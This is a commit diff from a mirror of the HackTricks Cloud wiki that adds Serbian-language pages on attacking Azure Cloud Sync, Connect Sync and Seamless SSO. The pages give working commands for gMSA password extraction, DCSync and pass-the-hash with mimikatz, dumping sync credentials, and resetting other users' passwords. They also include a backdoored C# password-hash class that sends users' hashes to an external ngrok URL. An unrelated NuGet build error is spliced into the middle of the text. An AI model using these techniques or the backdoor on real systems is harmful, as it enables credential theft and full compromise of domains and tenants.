mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
@@ -0,0 +1,151 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
**Cloud Sync** je u suštini novi način Azure-a da **synchronize the users from AD into Entra ID**.
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync je nova ponuda od Microsoft-a dizajnirana da ispuni i postigne vaše ciljeve hibridnog identiteta za sinhronizaciju korisnika, grupa i kontakata u Microsoft Entra ID. To postiže korišćenjem Microsoft Entra cloud provisioning agenta umesto Microsoft Entra Connect aplikacije. Međutim, može se koristiti zajedno sa Microsoft Entra Connect Sync.
|
||||
|
||||
### Generisani principi
|
||||
|
||||
Da bi ovo funkcionisalo, neki principi se kreiraju u Entra ID i On-Premise direktorijumu:
|
||||
|
||||
- U Entra ID, korisnik `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) se kreira sa ulogom **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
> [!WARNING]
|
||||
> Ova uloga je ranije imala mnogo privilegovanih dozvola i mogla se koristiti za [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Međutim, Microsoft je odlučio da ukloni sve privilegije ove uloge i dodeli joj samo novu **`microsoft.directory/onPremisesSynchronization/standard/read`** koja zapravo ne omogućava izvršavanje bilo koje privilegovane akcije (kao što je modifikovanje lozinke ili atributa korisnika ili dodavanje nove akreditacije SP-u).
|
||||
|
||||
- U Entra ID takođe se kreira grupa **`AAD DC Administrators`** bez članova ili vlasnika. Ova grupa je korisna ako se koristi [`Microsoft Entra Domain Services`](./az-domain-services.md).
|
||||
|
||||
- U AD, ili se kreira Service Account **`provAgentgMSA`** sa SamAcountName kao **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ili prilagođeni sa [**ovim dozvolama je potreban**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Obično se kreira podrazumevani.
|
||||
|
||||
> [!WARNING]
|
||||
> Pored drugih dozvola, Service Account **`provAgentgMSA`** ima DCSync dozvole, omogućavajući **bilo kome ko ga kompromituje da kompromituje ceo direktorijum**. Za više informacija o [DCSync proverite ovo](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Podrazumevano, korisnici poznatih privilegovanih grupa kao što su Domain Admins sa atributom **`adminCount` do 1 nisu sinhronizovani** sa Entra ID iz bezbednosnih razloga. Međutim, drugi korisnici koji su deo privilegovanih grupa bez ovog atributa ili koji su dodeljeni visoke privilegije direktno **mogu biti sinhronizovani**.
|
||||
|
||||
## Sinhronizacija lozinki
|
||||
|
||||
Odeljak je vrlo sličan onom iz:
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Sinhronizacija heša lozinke** može biti omogućena tako da korisnici mogu **login into Entra ID using their passwords from AD**. Štaviše, kada god se lozinka izmeni u AD, biće ažurirana u Entra ID.
|
||||
- **Pisanje lozinke** takođe može biti omogućeno, omogućavajući korisnicima da modifikuju svoju lozinku u Entra ID automatski sinhronizujući svoju lozinku u on-premise domenu. Ali prema [trenutnim dokumentima](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), za ovo je potrebno koristiti Connect Agent, pa pogledajte [Az Connect Sync odeljak](./az-connect-sync.md) za više informacija.
|
||||
- **Pisanje grupa**: Ova funkcija omogućava članstvima grupa iz Entra ID da se sinhronizuju nazad u on-premises AD. To znači da ako je korisnik dodat u grupu u Entra ID, takođe će biti dodat u odgovarajuću grupu u AD.
|
||||
|
||||
## Pivotiranje
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- Ako se AD korisnici sinhronizuju iz AD u Entra ID, pivotiranje iz AD u Entra ID je jednostavno, samo **kompromitujte lozinku nekog korisnika ili promenite lozinku nekog korisnika ili kreirajte novog korisnika i čekajte dok se ne sinhronizuje u Entra ID direktorijum (obično samo nekoliko minuta)**.
|
||||
|
||||
Tako da biste mogli, na primer
|
||||
- Kompromitovati **`provAgentgMSA`** nalog, izvršiti DCSync napad, provaliti lozinku nekog korisnika i zatim je koristiti za login u Entra ID.
|
||||
- Samo kreirati novog korisnika u AD, čekati dok se ne sinhronizuje u Entra ID i zatim ga koristiti za login u Entra ID.
|
||||
- Modifikovati lozinku nekog korisnika u AD, čekati dok se ne sinhronizuje u Entra ID i zatim je koristiti za login u Entra ID.
|
||||
|
||||
Da biste kompromitovali **`provAgentgMSA`** akreditive:
|
||||
```powershell
|
||||
# Enumerate provAgentgMSA account
|
||||
Get-ADServiceAccount -Filter * -Server domain.local
|
||||
# Find who can read the password of the gMSA (usually only the DC computer account)
|
||||
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
|
||||
|
||||
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
|
||||
lsadump::dcsync /domain:domain.local /user:<dc-name>$
|
||||
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
|
||||
|
||||
# Or you can change who can read the password of the gMSA account to all domain admins for example:
|
||||
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
|
||||
|
||||
# Read the password of the gMSA
|
||||
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
|
||||
|
||||
#Install-Module -Name DSInternals
|
||||
#Import-Module DSInternals
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
Sada možete koristiti hash gMSA da izvršite Pass-the-Hash napad protiv Entra ID koristeći `provAgentgMSA` nalog i održite postojanost, što vam omogućava da izvršite DCSync napade protiv AD.
|
||||
|
||||
Za više informacija o tome kako kompromitovati Active Directory pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da ne postoji način da se Azure ili EntraID uloge dodele sinhronizovanim korisnicima na osnovu njihovih atributa, na primer, u konfiguracijama Cloud Sync. Međutim, kako bi se automatski dodelile dozvole sinhronizovanim korisnicima, neke **Entra ID grupe iz AD** mogu dobiti dozvole, tako da sinhronizovani korisnici unutar tih grupa takođe dobiju iste ili se mogu koristiti **dinamičke grupe**, pa uvek proverite dinamička pravila i potencijalne načine za njihovo zloupotrebljavanje:
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Što se tiče postojanosti, [ovaj blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugeriše da je moguće koristiti [**dnSpy**](https://github.com/dnSpy/dnSpy) da se unese backdoor u dll **`Microsoft.Online.Passwordsynchronisation.dll`** koji se nalazi u **`C:\Program Files\Microsoft Azure AD Sync\Bin`** i koji koristi Cloud Sync agent za izvršavanje sinhronizacije lozinki, čineći da eksfiltrira hash lozinki korisnika koji se sinhronizuju na udaljeni server. Hashovi se generišu unutar klase **`PasswordHashGenerator`** i blog post sugeriše dodavanje nekog koda tako da klasa izgleda ovako (napomena na `use System.Net` i korišćenje `WebClient` za eksfiltraciju hash lozinki):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
|
||||
|
||||
namespace Microsoft.Online.PasswordSynchronization
|
||||
{
|
||||
// Token: 0x0200003E RID: 62
|
||||
public class PasswordHashGenerator : ClearPasswordHashGenerator
|
||||
{
|
||||
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
|
||||
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
|
||||
{
|
||||
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
|
||||
try
|
||||
{
|
||||
using (WebClient webClient = new WebClient())
|
||||
{
|
||||
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
return new PasswordHashData
|
||||
{
|
||||
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
|
||||
RawHash = passwordHashData.RawHash
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Ako je **Password Writeback** omogućen, mogli biste da izmenite lozinku nekih korisnika iz Entra ID i ako imate pristup AD mreži, povežite se koristeći njih. Za više informacija pogledajte odeljak [Az Connect Sync](./az-connect-sync.md) jer se writeback lozinke konfiguriše pomoću tog agenta.
|
||||
|
||||
- U ovom trenutku Cloud Sync takođe omogućava **"Microsoft Entra ID to AD"**, ali nakon previše vremena otkrio sam da NE MOŽE da sinhronizuje EntraID korisnike u AD i da može samo da sinhronizuje korisnike iz EntraID koji su sinhronizovani sa hešom lozinke i dolaze iz domena koji pripada istoj domena šumi kao domena kojoj se sinhronizujemo, kao što možete pročitati na [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Ove grupe mogu sadržati samo lokalno sinhronizovane korisnike i / ili dodatne sigurnosne grupe kreirane u oblaku.
|
||||
> - Lokalni korisnički nalozi koji su sinhronizovani i članovi ove sigurnosne grupe kreirane u oblaku, mogu biti iz iste domene ili između domena, ali svi moraju biti iz iste šume.
|
||||
|
||||
Dakle, površina napada (i korisnost) ove usluge je značajno smanjena jer bi napadač morao da kompromituje inicijalni AD iz kojeg se korisnici sinhronizuju kako bi kompromitovao korisnika u drugoj domeni (i oba moraju biti u istoj šumi očigledno).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# Check for the gMSA SA
|
||||
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
|
||||
|
||||
# Get all the configured cloud sync agents (usually one per on-premise domain)
|
||||
## In the machine name of each you can infer the name of the domain
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,202 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect sinhronizacione usluge (Microsoft Entra Connect Sync) su glavni komponenta Microsoft Entra Connect. Ona se brine o svim operacijama koje se odnose na sinhronizaciju identitetskih podataka između vašeg lokalnog okruženja i Microsoft Entra ID.
|
||||
|
||||
Da biste je koristili, potrebno je instalirati **`Microsoft Entra Connect Sync`** agenta na serveru unutar vašeg AD okruženja. Ovaj agent će se brinuti o sinhronizaciji sa AD strane.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Connect Sync** je u suštini "stari" Azure način da se **sinhronizuju korisnici iz AD u Entra ID.** Novi preporučeni način je korišćenje **Entra Cloud Sync**:
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### Generisani principi
|
||||
|
||||
- Nalog **`MSOL_<installationID>`** se automatski kreira u lokalnom AD-u. Ovaj nalog dobija ulogu **Directory Synchronization Accounts** (vidi [dokumentaciju](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) što znači da ima **replication (DCSync) dozvole u lokalnom AD-u**.
|
||||
- To znači da svako ko kompromituje ovaj nalog može kompromitovati lokalnu domenu.
|
||||
- U lokalnom AD-u se kreira upravljani servisni nalog **`ADSyncMSA<id>`** bez posebnih podrazumevanih privilegija.
|
||||
- U Entra ID se kreira servisni princip **`ConnectSyncProvisioning_ConnectSync_<id>`** sa sertifikatom.
|
||||
|
||||
## Sinhronizacija lozinki
|
||||
|
||||
### Sinhronizacija hešova lozinki
|
||||
|
||||
Ova komponenta se takođe može koristiti za **sinhronizaciju lozinki iz AD u Entra ID** tako da korisnici mogu koristiti svoje AD lozinke za povezivanje sa Entra ID. Za to je potrebno omogućiti sinhronizaciju hešova lozinki u Microsoft Entra Connect Sync agentu instaliranom na AD serveru.
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Sinhronizacija hešova lozinki** je jedna od metoda prijavljivanja koja se koristi za postizanje hibridnog identiteta. **Azure AD Connect** sinhronizuje heš, heša, lozinke korisnika iz lokalnog Active Directory instance u cloud-baziranu Azure AD instancu.
|
||||
|
||||
U suštini, svi **korisnici** i **heš hešova lozinki** se sinhronizuju iz lokalnog u Azure AD. Međutim, **lozinke u čistom tekstu** ili **originalni** **heševi** se ne šalju u Azure AD.
|
||||
|
||||
**Sinhronizacija hešova** se dešava svake **2 minuta**. Međutim, podrazumevano, **istek lozinke** i **istek naloga** se **ne sinhronizuju** u Azure AD. Tako da korisnik čija je **lokalna lozinka istekla** (nije promenjena) može nastaviti da **pristupa Azure resursima** koristeći staru lozinku.
|
||||
|
||||
Kada lokalni korisnik želi da pristupi Azure resursu, **autentifikacija se vrši na Azure AD**.
|
||||
|
||||
> [!NAPOMENA]
|
||||
> Podrazumevano, korisnici poznatih privilegovanih grupa kao što su Domain Admins sa atributom **`adminCount` na 1 nisu sinhronizovani** sa Entra ID iz bezbednosnih razloga. Međutim, drugi korisnici koji su deo privilegovanih grupa bez ovog atributa ili koji su direktno dodeljeni visoke privilegije **mogu biti sinhronizovani**.
|
||||
|
||||
### Pisanje lozinki
|
||||
|
||||
Ova konfiguracija omogućava **sinhronizaciju lozinki iz Entra ID u AD** kada korisnik promeni svoju lozinku u Entra ID. Imajte na umu da za rad pisanja lozinki, korisniku `MSOL_<id>` automatski generisanom u AD-u, treba dodeliti [više privilegija kao što je navedeno u dokumentima](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) kako bi mogao da **menja lozinke bilo kog korisnika u AD-u**.
|
||||
|
||||
Ovo je posebno zanimljivo za kompromitovanje AD-a iz kompromitovanog Entra ID-a jer ćete moći da menjate lozinku "gotovo" bilo kog korisnika.
|
||||
|
||||
Domain administratori i drugi korisnici koji pripadaju nekim privilegovanim grupama se ne repliciraju ako grupa ima **`adminCount` atribut na 1**. Ali drugi korisnici koji su dodeljeni visoke privilegije unutar AD-a bez pripadnosti bilo kojoj od tih grupa mogli bi imati promenjenu lozinku. Na primer:
|
||||
|
||||
- Korisnici dodeljeni visoke privilegije direktno.
|
||||
- Korisnici iz grupe **`DNSAdmins`**.
|
||||
- Korisnici iz grupe **`Group Policy Creator Owners`** koji su kreirali GPO-ove i dodelili ih OU-ima moći će da menjaju GPO-ove koje su kreirali.
|
||||
- Korisnici iz grupe **`Cert Publishers Group`** koji mogu objavljivati sertifikate u Active Directory.
|
||||
- Korisnici bilo koje druge grupe sa visokim privilegijama bez **`adminCount` atributa na 1**.
|
||||
|
||||
## Pivotiranje AD --> Entra ID
|
||||
|
||||
### Enumeracija Connect Sync
|
||||
|
||||
Proverite korisnike:
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
|
||||
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
|
||||
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=MSOL_*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
Proverite **Connect Sync konfiguraciju** (ako postoji):
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
```
|
||||
### Pronalaženje lozinki
|
||||
|
||||
Lozinke **`MSOL_*`** korisnika (i **Sync\_\*** korisnika ako je kreiran) su **smeštene u SQL serveru** na serveru gde je **Entra ID Connect instaliran.** Administratori mogu da izvuku lozinke tih privilegovanih korisnika u čistom tekstu.\
|
||||
Baza podataka se nalazi u `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Moguće je izvući konfiguraciju iz jedne od tabela, pri čemu je jedna šifrovana:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**Šifrovana konfiguracija** je šifrovana sa **DPAPI** i sadrži **lozinke `MSOL_*`** korisnika u on-prem AD i lozinku **Sync\_\*** u AzureAD. Stoga, kompromitovanjem ovih lozinki moguće je doći do privilegija u AD i AzureAD.
|
||||
|
||||
Možete pronaći [potpun pregled o tome kako su ove kredencijale smeštene i dešifrovane u ovom predavanju](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Zloupotreba MSOL\_*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
Get-AADIntSyncCredentials
|
||||
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
|
||||
|
||||
# Using https://github.com/dirkjanm/adconnectdump
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
|
||||
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> Prethodni napadi su kompromitovali drugu lozinku kako bi se povezali sa Entra ID korisnikom pod imenom `Sync_*` i zatim kompromitovali Entra ID. Međutim, ovaj korisnik više ne postoji.
|
||||
|
||||
### Zloupotreba ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
Ova aplikacija je kreirana bez dodeljenih Entra ID ili Azure upravljačkih uloga. Međutim, ima sledeće API dozvole:
|
||||
|
||||
- Microsoft Entra AD Synchronization Service
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
- Microsoft usluga resetovanja lozinke
|
||||
- `PasswordWriteback.OffboardClient.All`
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
Pominje se da se SP ove aplikacije još uvek može koristiti za izvođenje nekih privilegovanih radnji koristeći nedokumentovani API, ali do sada nije pronađen nijedan PoC.\
|
||||
U svakom slučaju, razmišljajući da bi to moglo biti moguće, bilo bi zanimljivo dalje istražiti kako pronaći sertifikat za prijavu kao ovaj servisni princip i pokušati da ga zloupotrebimo.
|
||||
|
||||
Ovaj [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) objavljen je ubrzo pre promene sa korišćenja korisnika `Sync_*` na ovaj servisni princip, objasnio je da je sertifikat bio smešten unutar servera i da je bilo moguće pronaći ga, generisati PoP (Proof of Possession) za njega i graf token, i sa ovim, biti u mogućnosti da doda novi sertifikat servisnom principu (jer **servisni princip** uvek može dodeliti nove sertifikate) i zatim ga koristiti za održavanje postojanosti kao SP.
|
||||
|
||||
Kako bi se izvršile ove radnje, sledeći alati su objavljeni: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
Prema mom iskustvu, sertifikat više nije smešten na mestu gde je prethodni alat tražio, i stoga, alat više ne funkcioniše. Tako da bi mog research mogao biti potreban.
|
||||
|
||||
### Zloupotreba Sync\_\* [DEPRECATED]
|
||||
|
||||
> [!WARNING]
|
||||
> Prethodno je korisnik pod imenom `Sync_*` kreiran u Entra ID sa veoma osetljivim dozvolama, što je omogućilo izvođenje privilegovanih radnji kao što su modifikacija lozinke bilo kog korisnika ili dodavanje nove kredencijale servisnom principu. Međutim, od januara 2025. ovaj korisnik više nije kreiran po defaultu jer se sada koristi aplikacija/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Ipak, može biti prisutan u nekim okruženjima, pa vredi proveriti.
|
||||
|
||||
Kompromitovanjem **`Sync_*`** naloga moguće je **resetovati lozinku** bilo kog korisnika (uključujući Globalne Administratore)
|
||||
```bash
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Takođe je moguće **modifikovati lozinke samo za cloud** korisnike (čak i ako to nije očekivano)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Moguće je izvući lozinku ovog korisnika.
|
||||
|
||||
> [!CAUTION]
|
||||
> Druga opcija bi bila da **dodelite privilegovane dozvole servisnom principalu**, što korisnik **Sync** ima **dozvole** da uradi, a zatim **pristupite tom servisnom principalu** kao način za privesc.
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
Moguće je koristiti Seamless SSO sa PHS, koji je podložan drugim zloupotrebama. Proverite to u:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Pivotiranje Entra ID --> AD
|
||||
|
||||
- Ako je omogućeno vraćanje lozinke, možete **modifikovati lozinku bilo kog korisnika u AD** koji je sinhronizovan sa Entra ID.
|
||||
- Ako je omogućeno vraćanje grupa, možete **dodati korisnike u privilegovane grupe** u Entra ID koje su sinhronizovane sa AD.
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,23 +4,72 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatski **prijavljuje korisnike kada su na svojim korporativnim uređajima** povezanih na vašu korporativnu mrežu. Kada je omogućeno, **korisnici ne moraju da kucaju svoje lozinke da bi se prijavili na Azure AD**, i obično, čak ni da kucaju svoja korisnička imena. Ova funkcija omogućava vašim korisnicima lak pristup vašim aplikacijama zasnovanim na oblaku bez potrebe za dodatnim komponentama na lokaciji.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatski **prijavljuje korisnike kada su na svojim korporativnim uređajima** povezanih na vašu korporativnu mrežu. Kada je omogućeno, **korisnici ne moraju da kucaju svoje lozinke da bi se prijavili na Azure AD**, a obično ni da kucaju svoja korisnička imena. Ova funkcija omogućava vašim korisnicima lak pristup vašim aplikacijama zasnovanim na oblaku bez potrebe za dodatnim komponentama na lokaciji.
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
U suštini, Azure AD Seamless SSO **prijavljuje korisnike** kada su **na PC-u pridruženom lokalnoj domeni**.
|
||||
U suštini, Azure AD Seamless SSO **prijavljuje korisnike** kada su **na PC-u koji je pridružen lokalnoj domeni**.
|
||||
|
||||
Podržava ga i [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) i [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
|
||||
Podržava ga i [**PHS (Sinhronizacija lozinki)**](phs-password-hash-sync.md) i [**PTA (Autentifikacija prolaza)**](pta-pass-through-authentication.md).
|
||||
|
||||
Desktop SSO koristi **Kerberos** za autentifikaciju. Kada je konfigurisan, Azure AD Connect kreira **račun računara nazvan AZUREADSSOACC`$`** u lokalnom AD. Lozinka računa `AZUREADSSOACC$` je **poslata u čistom tekstu Azure AD** tokom konfiguracije.
|
||||
Desktop SSO koristi **Kerberos** za autentifikaciju. Kada je konfigurisan, Azure AD Connect kreira **račun računara pod nazivom `AZUREADSSOACC$`** u lokalnom AD. Lozinka `AZUREADSSOACC$` računa se **šalje u običnom tekstu Entra ID** tokom konfiguracije.
|
||||
|
||||
**Kerberos karte** su **enkriptovane** koristeći **NTHash (MD4)** lozinke, a Azure AD koristi poslatu lozinku za dekripciju karata.
|
||||
**Kerberos karte** su **enkriptovane** koristeći **NTHash (MD4)** lozinke, a Entra ID koristi poslatu lozinku za dekripciju karata.
|
||||
|
||||
**Azure AD** izlaže **krajnju tačku** (https://autologon.microsoftazuread-sso.com) koja prihvata Kerberos **karte**. Pregledač mašine pridružene domeni prosleđuje karte ovoj krajnjoj tački za SSO.
|
||||
**Entra ID** izlaže **krajnju tačku** (https://autologon.microsoftazuread-sso.com) koja prihvata Kerberos **karte**. Pregledač mašine pridružene domeni prosleđuje karte ovoj krajnjoj tački za SSO.
|
||||
|
||||
### On-prem -> cloud
|
||||
### Enumeracija
|
||||
```bash
|
||||
# Check if the SSO is enabled in the tenant
|
